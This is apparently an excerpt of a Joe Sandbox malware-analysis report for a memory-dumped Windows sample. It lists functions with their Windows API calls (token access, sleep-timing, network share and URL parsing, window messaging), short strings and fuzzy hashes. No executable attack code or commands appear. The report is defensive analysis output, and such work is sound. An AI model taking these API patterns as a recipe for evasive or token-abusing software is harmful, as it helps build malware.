Instruction ID: 006eec8d165318ed07fb8b1b83da27efe7b5b1ac9a145788b4a3bff4253d2497
Opcode Fuzzy Hash: c63e4ab38c603906820a7dadf402c86f31ed26f631e3efb6350bb96b336cf20b
Instruction Fuzzy Hash: CC01D432712222AFFB338ABD9C54A577B98BF05A61F104620F9C9EB1C1D726D401C7E0

Function 01037464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 0103747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 01037497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 010374AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 010374CA

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: ef8e0da91d251df6f23858816c915ff6b85feb52f80e0ed0891d40e6f890dc8b
Instruction ID: 0212238a74dfb384039edda2038276521e27d1217e519422e544c5653c7de2ec
Opcode Fuzzy Hash: ef8e0da91d251df6f23858816c915ff6b85feb52f80e0ed0891d40e6f890dc8b
Instruction Fuzzy Hash: 061139B5201305ABF7308F54E909B967FFCEB80B04F008569E6D6D6591DBB5F904CB60

Function 0103B0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0103ACD3,?,00008000), ref: 0103B0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0103ACD3,?,00008000), ref: 0103B0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0103ACD3,?,00008000), ref: 0103B0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0103ACD3,?,00008000), ref: 0103B126

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 8995cecf3009846d7072edaa1229e14c2e66dc9bb995bde139c6a213c365fe7b
Instruction ID: 467cd6aa10ea720184009e5258125deb376e716b58d474027140f61de15511d8
Opcode Fuzzy Hash: 8995cecf3009846d7072edaa1229e14c2e66dc9bb995bde139c6a213c365fe7b
Instruction Fuzzy Hash: 61115B31C0151CEBDF10AFE4E9586EEBF78FF8A715F404486E9C1B6289CB3596508B61

Function 01067E14 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 01067E33
ScreenToClient.USER32(?,?), ref: 01067E4B
ScreenToClient.USER32(?,?), ref: 01067E6F
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 01067E8A

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: f80065f22098977825c69760a2970642729a7ce2972ac373756a47e75c3f9e50
Instruction ID: 33af426fb856c953243f6a9047a77a939a1a90709db18464e30505da3046a1ba
Opcode Fuzzy Hash: f80065f22098977825c69760a2970642729a7ce2972ac373756a47e75c3f9e50
Instruction Fuzzy Hash: 711153B9D0024AAFDB51CF98C584AEEBBF9FF08310F509066E955E3214D735AA54CF90

Function 01032DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 01032DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 01032DD6
GetCurrentThreadId.KERNEL32 ref: 01032DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 01032DE4

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 4e803fa2c80d57d1e98ac941e7935ead9eb480db8d395605be86cbeb3e93188b
Instruction ID: 73a3f9d7e55b3ca333c793ac5c179e1f23d3b46b35a4ca7c7c049a0643354749
Opcode Fuzzy Hash: 4e803fa2c80d57d1e98ac941e7935ead9eb480db8d395605be86cbeb3e93188b
Instruction Fuzzy Hash: 94E09271101224BBEB302A779D0DFEB7E6CEF87BA1F000015F286D50809AAAD840C7B0

Function 01068863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00FE9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00FE9693
Part of subcall function 00FE9639: SelectObject.GDI32(?,00000000), ref: 00FE96A2
Part of subcall function 00FE9639: BeginPath.GDI32(?), ref: 00FE96B9
Part of subcall function 00FE9639: SelectObject.GDI32(?,00000000), ref: 00FE96E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 01068887
LineTo.GDI32(?,?,?), ref: 01068894
EndPath.GDI32(?), ref: 010688A4
StrokePath.GDI32(?), ref: 010688B2

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 624d001936c75fd6432ef09585851636bb0b1f4b15db1a70d3414069e2ed98e0
Instruction ID: afa714b8b61f41487ab1438ade8b441dc46d5a65529f194cc3af9a0338dd5221
Opcode Fuzzy Hash: 624d001936c75fd6432ef09585851636bb0b1f4b15db1a70d3414069e2ed98e0
Instruction Fuzzy Hash: FFF05E36045658BAFB226F94AD09FCE3F59AF0A310F048141FB91650E5C7BA5111DFE5

Function 00FE98B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00FE98CC
SetTextColor.GDI32(?,?), ref: 00FE98D6
SetBkMode.GDI32(?,00000001), ref: 00FE98E9
GetStockObject.GDI32(00000005), ref: 00FE98F1

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: 00dc67af47df2739dac67dd16e9e846b12252bd8f6190130e43636cd3f1cfb20
Instruction ID: 9943d16f2669282915d9612fd7bed22a14c767e25f56e9ff0695d372c09ddf67
Opcode Fuzzy Hash: 00dc67af47df2739dac67dd16e9e846b12252bd8f6190130e43636cd3f1cfb20
Instruction Fuzzy Hash: 04E06531240290EAEB315B78A909BD93F51AB12335F048219F7F9580E5C77642509B11

Function 0103162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 01031634
OpenThreadToken.ADVAPI32(00000000,?,?,?,010311D9), ref: 0103163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,010311D9), ref: 01031648
OpenProcessToken.ADVAPI32(00000000,?,?,?,010311D9), ref: 0103164F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 5586e8680e62b7f0ebd2fe20684182123df68f207e14b365f99426f8821e0d0a
Instruction ID: da2455be6d07dc350c0c2c2e587d3dd813e457deaf1aed9641165ca931cf25da
Opcode Fuzzy Hash: 5586e8680e62b7f0ebd2fe20684182123df68f207e14b365f99426f8821e0d0a
Instruction Fuzzy Hash: A4E08631601212ABF7701FE59F0DB463BBDAF4A791F144848F6C9C9084D6394040C750

Function 0102D858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0102D858
GetDC.USER32(00000000), ref: 0102D862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0102D882
ReleaseDC.USER32(?), ref: 0102D8A3

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: e09aacb0591fe5c21f3df0a0e9b67986005027c5143bb746e9d47c1380f1e0df
Instruction ID: 82e621c1f67db4925bd5d37905fc53f8de943361c5b018c5cef618780a00e694
Opcode Fuzzy Hash: e09aacb0591fe5c21f3df0a0e9b67986005027c5143bb746e9d47c1380f1e0df
Instruction Fuzzy Hash: FDE01AB5800245DFEB519FA0D60866DBBB6FB08310F14900AF8CAE7254C77E6901AF54

Function 0102D86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0102D86C
GetDC.USER32(00000000), ref: 0102D876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0102D882
ReleaseDC.USER32(?), ref: 0102D8A3

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: a37d669390a12fe71b903b72c28958e68a3e2b7aa89dce8d1f4c235c03465389
Instruction ID: fcae2cda5d225899da9f5f48fe35a92f983c68ca7d5c7e5a86667d96b07b3a47
Opcode Fuzzy Hash: a37d669390a12fe71b903b72c28958e68a3e2b7aa89dce8d1f4c235c03465389
Instruction Fuzzy Hash: E7E01A71800240DFDB609FA0D50866DBBB5FB08310B149009F98AE7254C73E6901AF54

Function 01044D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD7620: _wcslen.LIBCMT ref: 00FD7625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 01044ED4

Strings

LPT, xrefs: 01044DFB
*, xrefs: 01044E10

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: 7ec75f9510fbaba343d1e423743039e9e395142cbcf51cdb73aa6d1e024cccf6
Instruction ID: 5616581edc966602fbcdb0566b640a3b3d5c3ea00f8f5e3a776f83ca54799d88
Opcode Fuzzy Hash: 7ec75f9510fbaba343d1e423743039e9e395142cbcf51cdb73aa6d1e024cccf6
Instruction Fuzzy Hash: D3916FB5A042049FDB15DF58C8C4FAABBF1AF44304F1980A9E84A9F362D735ED85CB91

Function 00FFE27D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00FFE30D

Strings

pow, xrefs: 00FFE2E5, 00FFE302

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: b3fdecc7554f1b31e655849d335909f8f2fe2003bee11e0426d719eab86f8815
Instruction ID: eb123f7609eb0937f82f34d43529614e7c0b57355d1c84be3f1fc66907d158a2
Opcode Fuzzy Hash: b3fdecc7554f1b31e655849d335909f8f2fe2003bee11e0426d719eab86f8815
Instruction Fuzzy Hash: C8518E72E0920A96EB277718C9043B93FE4EF50750F204969E1D5422FCEF3D9C95AB46

Function 00FEE187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 00FEE1B1

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 7d52239c26b51028eda69f9041a7b39a50a4795a27a14a204b34d9077f02536d
Instruction ID: d25bc105b9278c3d7049c8d9f6432819f368e46d3b3e3cb50a9023e9f0f7e81d
Opcode Fuzzy Hash: 7d52239c26b51028eda69f9041a7b39a50a4795a27a14a204b34d9077f02536d
Instruction Fuzzy Hash: B4517235A44296DFEF15DF68D4806BA7BA4FF05310F248096E9C19B2D0D6389D42DBA0

Function 00FEF291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00FEF2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 00FEF2BB

Strings

@, xrefs: 00FEF2AF

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 55ff205b0327e81eeb9f2759d8a15bdfbbc92a99b8a981007837a50dfd7b8c4c
Instruction ID: dd2bc054cc419711d43e58a4233070ef7b66e973f004918e62405a23248236ab
Opcode Fuzzy Hash: 55ff205b0327e81eeb9f2759d8a15bdfbbc92a99b8a981007837a50dfd7b8c4c
Instruction Fuzzy Hash: B95156714087459BD320AF10DC86BAFBBF9FF84300F85884EF1D981295EB75852ACB66

Function 01055745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 010557E0
_wcslen.LIBCMT ref: 010557EC

Strings

CALLARGARRAY, xrefs: 010557E6, 010557EB

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: 6bb77af6476f707d25f229455d103bb2f7de1225061267c56c1d5748ec5435d4
Instruction ID: 26722876cb509e44a396774d8830954ad972a3c059852dd96f34638e970614a6
Opcode Fuzzy Hash: 6bb77af6476f707d25f229455d103bb2f7de1225061267c56c1d5748ec5435d4
Instruction Fuzzy Hash: EA41A131E002099FCB54DFA9CC819BEBBF5FF49320F14406AE985A7292E7759981CB90

Function 0104D0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0104D130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 0104D13A

Strings

|, xrefs: 0104D10B

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: 82a7db0aaadb44f7bf56f1df010e16dc1288722efea76e5bc71e7bd05a85fa4b
Instruction ID: 63ddcb89436e35d4cd006622d9d38de9aa026b7b7917e9bbf19840a8647b79f3
Opcode Fuzzy Hash: 82a7db0aaadb44f7bf56f1df010e16dc1288722efea76e5bc71e7bd05a85fa4b
Instruction Fuzzy Hash: F3313D75D00209ABDF15EFE4CC85AEE7FBAFF14300F04006AF915A6266D735AA06DB54

Function 0106356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 01063621
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 0106365C

Strings

static, xrefs: 010635BC

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: f18c917200093b41fa18a12b9e0841f4df99aeca2f607e5c35f0710c4156794b
Instruction ID: f8814a7a18f730f6ea171e9ce2e29c0aca3109a143ca081fbb2564e117f9cdfa
Opcode Fuzzy Hash: f18c917200093b41fa18a12b9e0841f4df99aeca2f607e5c35f0710c4156794b
Instruction Fuzzy Hash: 18318171100604AAEB109F68DC40EFB73ADFF48714F00961AF9A997250DA35AC81D7A0

Function 01064537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 0106461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 01064634

Strings

', xrefs: 0106458E

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: d68ee2e9c29d2845298a16d990c57516a536e9b525fbfe8e841a3e7e9281ef5d
Instruction ID: e0801c4a699bed0bf6624d972cfb488d1e9cc74d273aff77eb4c9c67b17ebd72
Opcode Fuzzy Hash: d68ee2e9c29d2845298a16d990c57516a536e9b525fbfe8e841a3e7e9281ef5d
Instruction Fuzzy Hash: AE310674A0120AAFDB54CFA9C980ADA7BF9FF49300F14416AEA45EB342D771A941CF90

Function 010631EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0106327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 01063287

Strings

Combobox, xrefs: 01063249

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 792b8c2859d4946412726cc17ad111b7b184f683a9b3a870daf96d84c0ea11d3
Instruction ID: c579cb1e9c2e4b4684cf6e0e0ec6211581c5fd9d8587df9fa0ec8ba587ec35c2
Opcode Fuzzy Hash: 792b8c2859d4946412726cc17ad111b7b184f683a9b3a870daf96d84c0ea11d3
Instruction Fuzzy Hash: 1C11E67130020A7FFF629E58DC80EBB379EFB48364F104125F5989B291D6759C50C7A0

Function 01063710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

